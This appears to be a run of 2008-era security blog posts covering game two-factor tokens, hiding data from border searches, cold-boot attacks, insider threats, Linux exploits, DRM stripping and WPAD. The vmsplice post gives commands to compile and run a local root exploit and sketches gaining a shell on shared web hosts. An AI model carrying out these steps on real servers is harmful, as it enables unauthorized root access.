Blizzard Entertainment, makers of the phenomenally-successful multiplayer game World of Warcraft, have introduced two-factor authentication for logging into the game.  For $6.50, they’ll sell you a dynamic password keychain token called the Blizzard Authenticator, which looks much like the RSA keyfobs many in the IT industry use to log into their corporate VPNs.

It may seem silly to use two-factor auth for a video game.  However, with 12 million players, World of Warcraft is a big business, and stolen accounts are worth money.  Logging into someone else’s account, looting it for virtual money and supplies, then selling them on the open market can easily net $50 per account, more for particularly lucrative ones.  What’s more, the account itself can be sold to offshore “gold farmers” who have a constant need for accounts as Blizzard revokes theirs for Terms of Service violations.  Considering that a stolen credit card number is usually worth only about $10, WoW accounts are actually pretty good targets for theft.

People steal these accounts via installing old-fashioned key loggers — Trojan Horses attached to downloaded software that monitor the user and steal their password when they log into WoW.  Generally these keyloggers are attached to fake WoW cheat programs with names like “WoW stat changer“, or modern recreations of some early real cheats that no longer work (the “speed hack” and “teleport hack.”)  Aspiring cheaters download and install these applications and are disappointed to find they don’t work, but don’t realize that their account has been stolen when the app was run.

The best mitigation to this would, of course, be not to download dubious cheat programs for World of Warcraft.  However, since downloading and installing UI add-ons is a normal activity by WoW players, it is perhaps a bit much to expect players to know the difference between a safe UI add-on (written in Blizzard’s LUA scripting language) and an unsafe one (with real executable code.)  So Blizzard offers a two-factor token, which renders a stolen password useless — since the dynamic passwords change every minute and are not reusable, keyloggers can no longer steal accounts.  If you’re a World of Warcraft player who downloads & runs a lot of not-very-trustworthy Internet software, $6.50 is a small price to pay for security.

The ironic thing about this is that most banks won’t offer this level of security to their customers.  The loss of my World of Warcraft account would be a minor inconvenience (Blizzard keeps backups, after all, and can “roll back” a player’s account to a previous state upon request), while the theft of bank accounts and credit cards would be much more serious.  Yet my bank offers only passwords for protection, and other banks’ “two-factor authentication” isn’t really (”something you know” and “something else you know” is not two factors, it’s one factor repeated twice.)  Banks usually cite cost as the reason, and at the $90 for an RSA token, that sounds reasonable — but if Blizzard can put out their own tokens at $6.50, banks could, too.  The real reason is that the banks do not want to inconvenience their customers by making them carry around an additional object for access to their accounts.  For the most part, customers care more about convenience than security, and many customers would be locked of their accounts by losing a token than would be saved from theft.  (For that matter, customers don’t even know it when their bank account isn’t stolen because of a security measure, so they have no perceived benefit at all.)

Blizzard’s answer to the convenience/security tradeoff is to give customers the option — you can get an Authenticator if you want one, or just use passwords otherwise.  Banks don’t want to do this, though, because it would make password-only customers feel insecure.  The availability of a token might make them realize how unsafe a password alone is, and they might decide to forgo online banking altogether.  This is the last thing banks want — online banking is much cheaper than tellers.

According to the EFF blog, customs has taken to randomly searching electronic devices for suspicious data.  It is somewhat mysterious what they are searching them for — given only a few minutes and a technically unskilled border guard doing the searching, it’s hard to imagine them actually finding anything better hidden than a file on the desktop labeled “terroristic threats.doc” and a hyperlink to the Al-Qaeda Homepage.

Thus, from a security perspective, this just isn’t a good idea.  There’s a large tradeoff in inconvenience, delay, and civil liberties violation for a miniscule increase in security.  However, it does get me thinking about an interesting problem — how does one hide data from people inclined to search your electronic devices for it?

A legal search is a totally different kind of threat from a hacker attack.  With a hacker attack, you simply have to keep them out of the data — with a legal attack, you have to hide the existence of the data, as the legal system has at their disposal an additional channel for getting the data — they can subpoena it and demand you disable any protective measures and hand over the data.  Thus, encryption — the primary defense against data disclosure to hackers — is of limited use against a legal attack.  (And note that a “legal attack” doesn’t just mean law enforcement or other rightful authorities — it also means attack via lawsuit.  Abuse of the legal system is not limited to the political administration — competitors and other adversaries can and do use the legal system to get at things they shouldn’t have.  In other words, this information isn’t of value only to criminals — there are a lot of perfectly legitimate reasons to hide data.)

The EFF points out a few possible ways of avoiding scrutiny from customs:

• Create multiple accounts on the machine, and just log in with an account with nothing sensitive in it when asked to log in.  This is basically taking advantage of the lack of technical expertise on the part of the searcher.
• Take only the data you need on the trip — just minimize what there is to find.  This is a good idea anyway, but probably unsatisfactory if you are carrying, say, diplomatic communications.
• Bring no data at all, and when you arrive at your destination, retrieve the information via VPN.  Before flying back, VPN the data back and delete it.
• For sensitive business communications, have the data encrypted by someone else who provides the key only when you arrive at your destination.  This would work to protect the data, but it also means that, being unable to comply with an order to reveal the data, you may just have to miss your flight.

I have two more that they didn’t mention:

• Encrypt the data onto something that is not an “electronic device” subject to search, like a CD-ROM, USB key, or whatever.  It no longer falls under the search provision.  Obviously it could be searched if you were actually arrested or sued, but it gets around this particular issue.
• Use TrueCrypt Hidden Volumes.  Merely hiding an encrypted file on a disk will not hide it from a skilled attacker, because cryptographic data is distinctive.  Statistically, it has a uniform distribution, which makes it look unlike any other kind of data except white noise (random numbers.)  Essentially, it looks so bland and generic that it stands out — because no real data is that essentially devoid of information.  Since nobody keeps a hard disk full of random noise files, if one exists, it must be encrypted data — which means you can be subpoenaed for the key.  TrueCrypt’s hidden volume feature gets around this in a novel way, which I’ll discuss below.

Hidden volumes take advantage of the similarity between random noise & encrypted files.  A section of disk is reserved for an encrypted virtual disk.  When this is created, it is filled with random noise, which is replaced by encrypted data as needed.  The trick is that you can create another encrypted virtual disk inside the first one.  So long as some data is in the “outer” volume (as no one would have a huge encrypted file on their hard drive with nothing in it — it’s not plausible), there is no evidence that the “inner” volume even exists unless you have the key.  The inner volume’s encrypted data blends into the outer volume’s white noise.  Thus, you put slightly-secret data in the outer volume, and really-secret data in the inner volume.  When asked to reveal the key, you reveal the key to the outer volume only, and have plausible deniability of the inner volume’s existence.

As with any countermeasure, though, there are limits.  If you’re hiding from the NSA or some foreign government’s equivalent, just putting a couple TrueCrypt volumes on your laptop’s hard disk will not do the job.  The problem is that the operating system and the applications you use may leave traces that reveal the existence of the inner volume (e.g. Word’s file history notes that you opened a file on Drive F:, when your laptop doesn’t have an F:…)  For extremely sensitive data, it would be necessary to not only put it in a hidden inner volume, but also to only ever access that inner volume from an ephemeral operating system (e.g. a LiveCD, or an OS you boot off a USB key and load into a RAMdisk.)  If the OS you use never makes any changes to the disk outside the encrypted volume, evidence of the volume remains hidden.  You would of course want a normal OS and outer volume to be present and used, for plausible deniability to be present (as, once again, it’s not reasonable to have a laptop with only random noise on the hard drive.)  You would also want to access the outer volume with the laptop’s native OS after any session in which you accessed the inner volume (as otherwise the access date on the encrypted file could be newer than the last boot date on the OS, once again leaving a breadcrumb trail.)

And all this makes me wonder once again what the government plans to get out of casually searching the data on laptop hard disks.  The only people whose data will be discovered are those with nothing to hide.

Early this week, some researchers at Princeton University’s Center for Information Technology Policy released a fascinating video of whole-disk encryption being cracked quite quickly and easily.

Whole-disk encryption products — such as PGP Whole Disk Encryption, TrueCrypt System Encryption, and Windows Vista’s BitLocker — work by encrypting the entire hard disk with a symmetric key, save for a small loader.  When the computer is powered on, the loader prompts the user for a password or other authenticator (like a smart card or a certificate on a USB keyfob), which is used to decrypt the key.  Assuming the correct authenticator is provided, the key is decrypted and then the OS is booted from the encrypted drive.  The key remains in memory until the machine is powered off, since continuous access to the key is required to access the drive.

The purpose of whole-disk encryption is to protect against an attacker bypassing all of the operating system’s defenses (logins & passwords, filesystem ACLs, etc.) by simply pulling out the hard disk and putting it in another computer (or, equivalently, booting up a LiveCD on the system) such that the operating system isn’t loaded at all.  Instead, the drive is mounted into an OS the attacker controls, where he has the ability to change ACLs, bypass logins, etc.  With whole-disk encryption, you can’t do this — even if you steal a laptop, without the boot password the entire drive contains nothing but a useless encrypted bitstream.

(As a side note, Vista BitLocker has a mode in which the symmetric key is stored in the TPM of the laptop, so no boot password is required.  At first this seems useless — why encrypt if decryption is automatic? — but it does provide protection against simply stealing the hard disk or booting into another OS.  The OS being booted must be in that specific computer, as only it has the TPM, and must be BitLocker-aware and capable of getting the key from the TPM.  It’s not completely secure in the stolen-laptop scenario, but neither is it useless.)

The Princeton group’s attack on whole-disk encryption relies on a little-known fact — computer memory (DRAM) is not wiped out when the system is powered off.  Rather, it becomes unreliable, decaying over a period of seconds to minutes as it gets randomized bit by bit.  It turns out that if cooled to a very low temperature, this decay is slowed considerably, to the point of being stable for tens of minutes.  Thus, the attack is as follows: get access to a laptop that is currently operating (so that the whole-disk encryption key is in memory), spray the RAM with an inverted compressed air can to cool it to -50 degrees Celsius, and power the system off.  Either move the RAM to a system with a custom OS, or attach an external drive to the system and boot off that.  The custom OS boots with a minimal memory footprint and then copies everything from RAM to a file on disk.  Thus, in less than a minute a “snapshot” of RAM has been taken.  This snapshot can then be inspected to locate prospective cryptographic keys and try them on the target drive.  Some knowledge of the particular whole-disk encryption product being used would be needed to find the exact spot in memory where the key is, and some error-correction techniques must be used in case a bit or two has been flipped, but it reduces the problem from cryptographically impossible to something that can be cracked in a few minutes or at worst hours.

So is this the end of whole-disk encryption?  No, not at all.  First of all, whole-disk encryption still successfully protects computers that are powered off (or in hibernation) — in that state, the computer does not have a copy of the encryption key available to it until the user re-enters his password.  In most stolen-laptop scenarios, the computer isn’t running at the time!  Whole-disk encryption is still a critical mitigation in the case of portable computers containing confidential data, and enterprises and government agencies would do well to implement it.  Of course, the best mitigation for this is to not carry confidential data around on your laptop.  It always strikes me as absurd when some government employee loses millions of confidential records on a stolen laptop — why did they need to have millions of records to carry around with them?  Do they really need all of those on-the-go?  It’s possible that in a minority of cases they do, and in those cases encryption is imperative (either of the whole-disk variety or on the file), but in most cases they’d have been better off leaving those files at the office.

Second, this is only a concern in targeted attacks.  If a typical thief rips off your laptop and discovers whole-disk encryption in place, they’re not going to execute this attack and get at your data.  Instead, they’ll just reformat the hard drive and sell the laptop as hardware.  The only reason someone would carry out this attack is if they knew that your laptop in particular contained valuable data and thus set out to steal it specifically.  In other words, if you’re a spy, and your laptop is classified TOP SECRET UMBRA, you have to worry about this attack.  If you have a typical corporate desktop and aren’t widely known to carry around your company’s entire credit card database, whole-disk encryption will probably protect you just fine.

There are several things that can be done, both by end-users and whole-disk encryption vendors, to mitigate this attack.  For end-users:

• If using Vista BitLocker, do not use the automatic mode — choose a mode that requires the use of a USB keyfob or a password to unlock.  This makes this attack ineffective when the system is entirely powered off.
• Do not use sleep/suspend-to-RAM when the computer is not actually in your hands — either power off or use hibernate.  In a sleep or suspend-to-RAM scenario, the whole-disk encryption key is still maintained in memory and can be recovered.
• If you have a few truly critical files, use file encryption (such as Windows’s Encrypted File System or PGP’s file encryption) on those files with a different password than that used on the whole-disk encryption.

For makers of whole-disk encryption software:

• Provide an option to re-encrypt the symmetric key during sleep or screen-saver activity.  This would mean the the laptop would need to be stolen during a truly active state; however, it would also inconvenience the user with more frequent password prompts.
• Consider the cryptographic key expansion mitigation described in the Princeton research paper.  It vastly increases the chances of even a small amount of decay of memory rendering the key unrecoverable.  Of course, it does so at the cost of performance (by requiring an additional hashing and XOR operation every time the key must be used.)

On January 21st, 2008, the major French bank Société Générale lost $7.09 billion attempting to unwind unauthorized trading positions taken by Jérôme Kerviel, a futures trader with the bank. Kerviel had taken positions worth $73.3 billion, far above not only his trading limits but the bank’s entire market capitalization. The loss taken by unwinding the positions during a declining stock market was the largest rogue trader loss in history, dwarfing the $1.4 billion loss by Nick Leeson that collapsed the venerable Barings Bank in 1992.

For all that we in the security industry picture threats coming at our companies from without, sometimes the greatest threats lie within. No external hacker has ever done the kind of damage that rogue insiders like Kerviel and Leeson are capable of, yet we focus on putting firewalls around our companies, rooting out worms and viruses, and securing our websites. While these are undoubtedly important, it is equally important to protect against internal adversaries — and often much more difficult.

The Problem of Trust

Companies must trust their employees — without the employees, there is no company. Accountants and traders are trusted with financial records, system administrators and information security personnel are trusted with access to critical files, physical and cleaning personnel are trusted with physical access to the facilities, and managers are trusted with company secrets, strategy, and intentions.

IT employees and developers are specialists.  As systems increase in complexity, those trusted with building and maintaining those systems are required to obtain knowledge further and further from most people’s understanding. Often, knowledge of how to build and maintain these systems also involves the knowledge of how to subvert them. IT engineers and developers know how their systems break down — they know their weak points, where they’re being watched and monitored, and where no one is looking. This problem isn’t unique to information technology — an aircraft mechanic probably knows how to sabotage a plane without leaving a trace, and members of police and military bomb squads are experts on explosives and what cannot be detected or tracked. And as recent news has demonstrated, traders in brokerages and banks know how the internal controls of their corporations work, and where they break down. Internal attackers are thus the most dangerous of all — they are already equipped with the kind of domain knowledge that an external attacker might need to spend weeks or months gathering.

Although we cannot entirely abandon trust in a company’s employees, we should consider where this trust comes from and whether or not it is warranted. Many companies sharply divide the level of trust and privilege given to employees vs. that given to contractors and vendors within their IT and development departments. The theory is that employees are allied to the company for the long term, and compensated with long-term benefits like retirement plans and vacation time that they will be unwilling to risk for short-term gain while vendors and contractors have less loyalty since they come and go as needed. However, in today’s IT world, is this really the case? I do not doubt that the contractors feel little loyalty for the company, but it is increasingly doubtful that the employees do, either. The average IT employee’s tenure at a corporation is now under 18 months — and thus they place little value on long-term benefits. Books like Corporate Confidential advise employees to view their employment relationship as, if not outright adversarial, at least mutually exploitative, to be dropped by either party as soon as it becomes in their interest to do so. Employees see that corporations no longer feel loyalty to them — the days of the job for life are over — and so loyalty to the corporation has gone as well.

Of course, lacking a strong sense of corporate loyalty does not lead most employees to embark on rogue-trading schemes, steal from their employers, commit electronic sabotage, etc. And even in the 1950s heyday of the organization man and the corporate family, some people took advantage of their employees and ran off with stolen fortunes. Some people are thieves and will steal given the opportunity no matter how well-treated they may be. Others are incorruptible, bound by their own moral code that would prevent them from stealing regardless of opportunity.  The vast bulk of humanity, though, is somewhere in between.

These employees are not likely to become attackers, and trusting them is a necessary part of doing business. However, this trust need not be absolute — we can trust, but verify. While we may not be able to prevent every internal attack, we can deter them, and make them less likely to occur. Steps can be taken to help keep most people honest, reducing both the incentive and the opportunity for theft.

Building Employee Loyalty

The days of the job for life and absolute loyalty to the corporation are probably over for good, inasmuch as they ever existed at all. However, the fact remains that internal attacks, particularly those not motivated by theft but rather simple vandalism, are much more likely to be carried out by disgruntled and angry employees than by content ones.

IT employees and developers are sometimes a strange breed — the sort of person that chooses to spend their time with technology is often different from the sort of person who chooses to be a manager.  So if it’s not a good retirement plan, an increase in vacation time after 5 years, and a promise of stability and long-term employment, what does build loyalty and goodwill with technical employees?

(Of course, any generalization about a type of person is going to be more accurate for some people than others, but I’ve found these to be useful rules of thumb for dealing with technology employees.)

• Autonomy. Figuring out how to do things is precisely what geeks enjoy about work — tell them what you want, not how you want them to achieve it.
• Isolation. Technologists, all told, are not very social. They do their best work when left alone. The cubicle is a horrible environment, giving you all the obstacles to collaboration of offices but without any of the privacy. Offices are ideal for most development work, the only exception being the early stages wherein there’s a lot more collaboration and brainstorming than actual coding.
• Technology. People who love technology want to be on the cutting edge. Using current technology makes them more invested in their jobs. In addition, it’s worth investing in the technology they’ll use every day — their workstations, displays, etc.

These are important, but will not, of course, make every employee perfectly happy. There are some things that technical employees have no patience for at all:

• Arbitrary or emotionally-driven decisions.  Using an older, inferior, or simply less appropriate tool (e.g. programming language, web framework) because “the boss likes it,” “we’ve always done it that way,” or “we’re a [insert product here] shop” really upsets them.  They need real-world reasons for using a technology, like technical benefits or budgetary limitations.
• Anything perceived as unfair. If employees feel they’re paid less than market value, or that someone else who’s not as good as they are is paid more, this breeds resentment. Trying to keep salaries secret helps not at all — today’s employees, especially younger ones, for the most part don’t understand why salaries should be kept secret, and thus will totally disregard any order to do so. It is important that technical employees see cause and effect in review processes, compensation, etc. and have a clear idea of how their performance is being assessed.
• Internal politics.  Engineers want to get things done, and they don’t care overmuch who does them — when engineering solutions, they’ll totally ignore interdepartmental boundaries. Having to worry about some manager’s fiefdom-building gets in the way of technical work and is relatively incomprehensible to them.

When it comes to performance management, technical employees need to be told, directly and clearly, how they’re doing and what needs improvement (if anything. ) Not being people-oriented, they often can’t read you. They don’t know if you’re happy with them or not unless you tell them, and they’re certainly not going to ask. While they deal extremely well with technical ambiguity — they love to solve problems, so an incoherent mess from a technical perspective is just a challenge to overcome — they don’t deal well at all with ambiguity in other contexts. Clear expectations and consistent feedback make their job simply another a problem to be solved, which makes it much more satisfying to them.  Without this feedback,

For many managers, these may seem like obvious guidelines — but they’re often problems in companies, particularly in IT and development departments of nontechnical companies. These factors mean a lot to many technical employees — often a lot more than traditional compensation. The best prevention against malicious insiders is to keep the insiders from becoming malicious in the first place by ensuring that the company earns their trust and respect.

Reducing Opportunity for Attack

Unfortunately, no matter what your company does, some people aren’t going to love their jobs. In addition, presented with the opportunity to steal, people are going to be tempted — and the greater the opportunity, the greater the temptation. Thus, it is important to reduce the opportunity for theft.

The traditional information security controls are often useless against insiders. The firewall provides no protection at all against someone already inside. Anti-virus and anti-malware systems matter not at all to someone who doesn’t need to gain access to a PC on the network, as they already have access legitimately. Network access controls are impotent against the domain administrator, who has the authority to alter access control lists at will. Obfuscation and hiding secret data provides no defense against the developer tasked with performing the obfuscation and hiding.

Fundamentally, a system designed to provide security always involves an implied question — secure from what? The vault door in a bank secures against burglars coming in in the night — not against the bank manager turning rogue. Alarms secure against armed robbers, not against tellers sneaking cash out of the drawer. Security cameras watch the tellers, but do no good against computer hackers or fraudsters. Reducing the opportunity for insiders to attack the company means considering how insiders differ from outsiders, and what security measures may be employed against them.

The primary advantages of an insider are twofold: knowledge and authorization. They have knowledge of the defenses — Jérôme Kerviel had worked in Société Générale’s internal audit and control department, so he knew exactly how they searched for and detected rogue trades. And they have authorization in that an internal attack often does not involve any sort of elevation of privilege — only an employee misusing their legitimate authority. Even the right to be inside the building, rather than having to break in through a firewall, is a measure of authority an outsider lacks.

However, insiders also have a disadvantage as compared to outsiders: proximity. It is often much easier to verify a suspicion that someone has committed a crime than it is to find the culprit to begin with. As is often depicted in crime dramas and classic mystery plots, investigators have a much easier time finding out who committed a crime when they have specific suspects to question and investigate than when a crime is committed by a random stranger with no known connection with the victim. Fingerprints and DNA evidence do little good if you have no suspect to compare them to. The same goes for electronic forensics — a hacker will often leave plenty of evidence of their activity on their own computer, and a monitoring device at their ISP would likely detect their activities. However, if the hacker is external, or even in a foreign country, as a security professional you’re unlikely to have any idea where their computer is, let alone have access to it. When an insider attacks, on the other hand, the traces can be very obvious. Attacks come from IPs within your perimeter, and your own monitoring equipment might have seen the entire attack end-to-end. The simple fact that there are only so many people inside the company capable of mounting an electronic attack limits the suspects and allows each to be investigated.

Smart insiders know this. While an outsider may believe he is able to hide from detection simply by being a needle in a haystack (how many companies really inspect all their edge firewall logs, even with an automated process?), an insider knows that he’s under observation and has a substantial chance of getting caught. Thus, he will almost always take steps to cover their tracks — steps an outsider would take, too, but the insider has the advantage of legitimate authorization to bolster his abilities.

Deterring internal attackers, then, involves neutralizing their advantages while maximizing their disadvantages. There is little to be done about their first advantage (knowledge of internal procedures), but actions can be taken to mitigate the power of legitimate authorization and to maximize the disadvantage of proximity.

Preventing Abuse of Legitimate Authority

Developers can modify the source code of your product — that’s what developers do. System administrators can change permissions on files and access secured areas — that’s their job. However, no one person should have the ability to do everything — this is the principle behind separation of duties.

Separation of duties enables legitimate tasks to be carried out while making it more difficult for these same powers to be abused. There are three basic controls that can be placed on a power to help prevent abuse:

• Authorization: determines if a person has the right to perform a task
• Recording: keeps a record of when, how, and by whom the task has been performed
• Custody: actually carries out the task

For example, imagine your company needs to deploy new code to a server in a datacenter. The person responsible for the authorization function sets the access control policies on the various machines to determine who has access. The person or system responsible for the recording function makes entries in change-control logs so that it is clear what has been done. The person with custody of the system actually places the new files on the server. In a small company — or one with poor internal controls — these could all be the same person.

If these tasks are all handled by the same person, the potential for abuse is very high. If this person wants to propagate malicious code to the servers that monitors transactions or even steals money from accounts, he can do so. He can authorize himself or another (possibly even a fake account) to make any change desired, carry out the task, and then erase or suspend the logs or records of not only the action but also the authorization changes.

On the other hand, if separate people are responsible for each of these tasks, none of them is capable of perpetrating a fraud on their own. This process could be organized as follows:

• A product team or business owner is responsible for developing the system and determines who can modify the code.
• A division of the IT department is responsible for all audit logging throughout the environment, regardless of who owns the particular servers.
• An operations engineer is responsible for actually placing code on the servers; the developers never have access directly to the production datacenter.

This makes fraud much harder. A member of the product team can tamper with the code, but has no way to actually get it into the datacenter. An operations engineer can access the datacenter, but lacks access to the code. And either one making a change leaves a trail — since audit logging is controlled by another team within IT, neither are able to turn auditing off or simply overlook suspicious entries.

Maximizing the Chance of Detection

Separation of duties limits the ability of a person with legitimate authority to abuse it. However, the is another thing that can be done to those people with the ability to abuse their authority from actually doing so — cause them to believe they are likely to be caught. Internal attackers know what audit and logging systems are being used within an environment, and they know where the “blind spots” in those systems are. Many criminals commit a crime only when the opportunity presents itself.  By eliminating failures in monitoring, we eliminate temptation as well as improving our forensic abilities.

Most of the systems used in a modern IT environment have extensive auditing capabilities. (Note that I am using the word “auditing” in the sense of creating an audit trail, not in the sense of some external consultant or accountant reviewing that trail.) Windows machines create an event log of almost everything that happens on them; in an ActiveDirectory domain, security events are also logged on the domain controller. UNIX/Linux/Solaris machines create various system logs, and have the ability to send them to remote machines as they occur. Databases like Oracle and SQL Server have fine-grained audit capabilities and are able to record every access to sensitive data and even detect potential data aggregation attacks. Web servers record every access, as do keycard-based entry control systems, VPN concentrators, firewalls, and a variety of network devices. An attacker, even an internal one, leaves a bewildering array of changes, alerts, and traces every time he does anything.

However, this does little good if no one notices the tracks! In addition, they are often ephemeral — a Windows Security Event Log will grow too large and begin overwriting itself in a matter of hours in a large corporation. If the logs are not available to investigate an incident, they might as well not exist at all.

One of the most powerful ways a company can prevent internal attacks is with the implementation of a Security Information and Event Management product. There are several of these on the market (I have experience implementing the SenSage event data warehouse, but ArcSight, Symantec, IntelliTactics, Computer Associates, and others have competing products,) but the idea behind all of them is to gather event data from a variety of sources and aggregate it in one place. This has two major advantages:

• The data is centrally managed by a separate custodian than the one that controls the various systems it came from, thus providing separation of duties.  The system administrators of the systems creating the logs cannot tamper with the logs.
• Data from disparate sources is correlated together, thus detecting attacks in progress and tracing attacks back to their source during an investigation.  Forensics is made easier and more effective.

Different SIEM systems have different advantages, and while all will provide separation of duties, some are better at handling massive data volumes than others. Likewise, the data mining involved in event correlation is still a black art in many cases, so different systems have different capabilities in that regard. However, just knowing that a SIEM exists, is monitored, and is out of reach for would-be fraudsters to tamper with can be a powerful deterrent against rogue employees.

Conclusion

The possibility of internal attacks is an unfortunate consequence of the specialization of modern society — those with the capability to build and maintain complex systems are often those best able to compromise and abuse them. However, good design of internal controls centered around separation of duties combined with judicious use of technical information-management solutions greatly reduces the opportunity for insiders to turn against a company’s infrastructure.

It wasn’t a good weekend for Linux.

The ultraportable ASUS Eee PC has seen quite a bit of publicity lately. With prices starting as low as $300, it’s about as cheap as laptops get, and runs on a solid-state drive instead of a hard disk. Of course, to get such a low price, it doesn’t ship with Windows on it — instead, it has a customized version of Xandros Linux using IceWM with a host of open-source applications, like OpenOffice, Firefox, etc. Xandros is a Debian derivative, so the apt package system can be used to get almost any popular Linux application.

Linux gets a lot of good press for being “secure”, by which the media usually means “free from viruses and spyware.” This is pretty much true, for the simple reason that it’s not worth anyone’s time to write a virus for Linux when the market share is so low. However, there’s a big difference between “free of malware” and “secure by default.” It turns out that the Xandros Linux on the Eee ships with Samba 3.0.24, which dates back to February ‘07. (Samba is the Linux version of the SMB protocol — it’s the package that lets Linux machines participate in Windows networks, both to be able to connect to Windows fileshares & to share files themselves.) Samba is, of course, installed and on by default — it wouldn’t be “easy to use” if you had to manually start Samba, would it?

Samba 3.0.24, unsurprisingly considering its age, has known critical security flaws. One of these is a remote root exploit published by RISE Security; the result of this is that any Eee PC can be remotely and silently compromised with a simple Metasploit plugin. If you’re on the Internet with an Eee, anyone can take remote control of your computer, access and change files, etc. You don’t need viruses and spyware when you have direct control.

If you do have an Eee, I suggest using apt to update Samba immediately. Assuming the Eee works like every other Debian derivative out there, a simple “sudo apt-get upgrade samba” ought to take care of the problem.

However, it gets worse. That vulnerability only affects people running an old version of Samba — it only gets attention because a brand-new PC is shipping with said old version of Samba. Also this last weekend, milw0rm released a local root exploit for all Linux kernels 2.6.17 through 2.6.24.1 (the current kernel.) This affects basically every Linux 2.6 system out there, as it affects kernels from June ‘06 through today. Since upgrading a kernel is somewhat of an ordeal (it requires taking the system down at the very least, and on many flavors of Linux involves some work besides; Ubuntu makes it quite easy if you’re using the default kernel, though), it’ll be months before many of these machines are upgraded.

It’s a local root exploit, so you have to be logged onto the machine to use it. Obviously, for Linux-based desktops and laptops that isn’t much of a concern; if someone’s sitting at your computer, they can take it over no matter what you do. However, where this gets scary is shared web hosting. Most small web sites are on shared servers; many (even hundreds) of sites on the same box. What’s more, a web hosting company may have all of their various servers trusting each other in such a way that having root on any one means having full control of all of them.

If you have a shell account on a Linux 2.6 box, full control is now as easy as pasting this code into a file on the machine, and typing

cc -static -Wno-format vmsplice-exploit.c
./a.out

Presto! Root shell. Most web hosts don’t give you shell anymore (unfortunate, in my opinion, and the main reason I’m on DreamHost), but that doesn’t matter — you could upload the source via FTP, along with a simple PHP page that builds it, runs it, and has it send you a shell. There are a lot of hosts on the Internet vulnerable to this right now. (Interestingly, DreamHost is not, as its servers are using the Linux 2.4 kernel instead of the 2.6 branch, and thus lack support for vmsplice.)

Unfortunately, I don’t have enough Linux kernel experience to know exactly what this exploit does to discuss it further — I’ve only done kernel-mode work on Windows, with my Linux coding being strictly in userland. However, vmsplice provides user-mode code with control over a kernel buffer, so any number of tiny bugs could have resulted in a catastrophic compromise (like this one.) Linux Torvalds has an email about splice() here, which does a great job explaining how splice() and vmsplice() can be used to move data around in a copy-free manner through a kernel buffer, but nothing much about why you would do such a thing.

So what to do about this one? There are three choices:

1. If you’re running a Linux 2.4 kernel, or anything predating 2.6.17, you’re safe. Well, you’re safe from this; there are other security bugs in year-old kernels.
2. Upgrade to a kernel post-2.6.24.1. If you happen to run a cutting-edge distribution like Gentoo, you can just sync the tree today, rebuild the kernel, and be good to go. And if you’re running Gentoo, you actually know how to do that. Debian Stable also has an apt package with a 2.6.18.dfsg.1-18etch1 kernel that’s safe.
3. There are some workarounds (hacks, really) on this thread. Note that disabling vmsplice, while it will fix this vulnerability, means crippling a Linux syscall; while this syscall is used only rarely, if you do this and software does try to use vmsplice it may corrupt kernel memory. Thus, option #2 is much, much better; get an updated kernel for your distro that fixes the bug.

So, there’s been a lot of news about Qtrax, a new music download service approved by the major record labels. It sounds like a good thing for consumers — a Songbird-based browser lets you select pretty much any song imaginable, including the entire catalog of songs available from iTunes, and download it freely and legally. Now, since it’s peer-to-peer, presumably not every song will be available at first, but they’re all licensed, so as soon as anyone makes them available they will be easy to acquire and free to download. (Though I don’t know for certain; it’s possible that Qtrax has its own server that will share out files if there are no other peers that have them.) The system is ad-supported, with Qtrax turning over most of the ad revenue to the labels in exchange for the licenses.

But here’s the weird part — all the downloads are Windows Rights Management-protected WMA files. There’s DRM on them; you are allowed to put them on a mobile device of your choice, but can’t spread them to other computers. This seems faintly ridiculous — they’re free. What does the DRM prevent you from doing? Copying your free files from one of your computers to another rather than having to pay the price of $0 twice? Giving your free files to others, rather than making them download them for free?

What this will really do is show that customers actually mean it when they say they hate DRM not because it prevents them from pirating media but because it’s simply annoying during the way people use their music. For instance, I place all my music files (ripped from my own CDs) on a central server and then can access them from any computer in the house. With these DRM-protected files, I couldn’t do this; I would have to have a copy of the entire music library on every computer in the house, because each would have different DRM codes.

However, this also demonstrates that the record companies don’t understand how DRM works — they’ve set up the ultimate trusted client scenario. When you download a file, free, from Qtrax, you get both the file and the license key for it. Which means you can just run FairUse4WM (an easy-to-use, free utility) on the file and strip the DRM right off. It’s quick, easy, and instantaneous so long as you have the key — which on a Qtrax download, you do. If you give everyone the keys freely, DRM becomes completely ineffective. In fact, with their Songbird-based architecture, I bet you could even write a plugin for Qtrax that would strip the DRM off automatically using FairUse4WM as you downloaded files.

Anyone who actually wants to pirate music will figure this out. The only people who won’t are, of course, the legitimate end users who just want to listen to music on multiple computers and devices. For those users, getting unprotected music will mean turning to the Pirate Bay.

Updated: it turns out that there is a reason for the DRM, it’s just not to prevent piracy.

If you run Internet Explorer, you may have noticed that often when you first load up IE and try to navigate to a web page, there’s a delay of a few seconds longer than there is on subsequent page loads. This is because IE is trying to automatically detect your proxy settings. Inside Internet Options -> Connections -> LAN Settings, you’ll find an option called “Automatically detect settings” which defaults to on. Unless you’ve turned it off manually or are joined to a corporate domain that turns it off, it’s probably still on.

It turns out that this settings is absolutely appalling for security, opening up several opportunities for an enterprising hacker on your local network. On a corporate network, that may be everyone in the building — on a wireless hotspot, it’s anyone in range. To understand the vulnerability, we have to look at how Automatically Detect Settings actually detects your settings.

When IE is first requested to load a page, it attempts to locate a server called WPAD. First, it checks the information received from the DHCP server, looking for site-local option 252, “auto-proxy-config.” Failing this, it tries to do this with a DNS lookup, asking the local DNS server to identify the IP address for WPAD. If this doesn’t work, it proceeds to try to use WINS — the old NetBIOS-based Windows Internet Name Service that is how multiple computers on a home network identify each other in the absence of a DNS server — to identify WPAD. It will try this for each domain extension up the hierarchy — if your computer is called fnord.endor.sparkplug.squid.com, it will look for, in order:

• wpad.endor.sparkplug.squid.com
• wpad.sparkplug.squid.com
• wpad.squid.com

It should not try to load from wpad.com (or wpad.net, etc.), though some configuration errors can cause it to try. In any case, if it finds a server called WPAD, it tries to retrieve proxy data from it, by issuing:

GET /wpad.dat HTTP/1.0

This is called the Web Proxy Auto Discovery Protocol, from which WPAD gets its name. The resulting file wpad.dat must be returned with the MIME type “application/x-ns-proxy-autoconfig”, and contain JavaScript that implements a function called FindProxyForUrl. This function is then called by IE on every URL it tries to load from then on, to determine what proxy servers, if any, it should use. The simplest example of this file could be something like this:

function FindProxyForUrl(url, host)
{
return “PROXY isa.squid.com:80; DIRECT”;
}

This tells IE to use the same proxy for everything, and that if that fails, try a direct connection. An enterprise with multiple proxies and internal networks could use the URL and HOST parameters to do a more complex proxy configuration. This file is actually in the Netscape Proxy Client Autoconfig file format, and can contain quite a bit of interesting script.

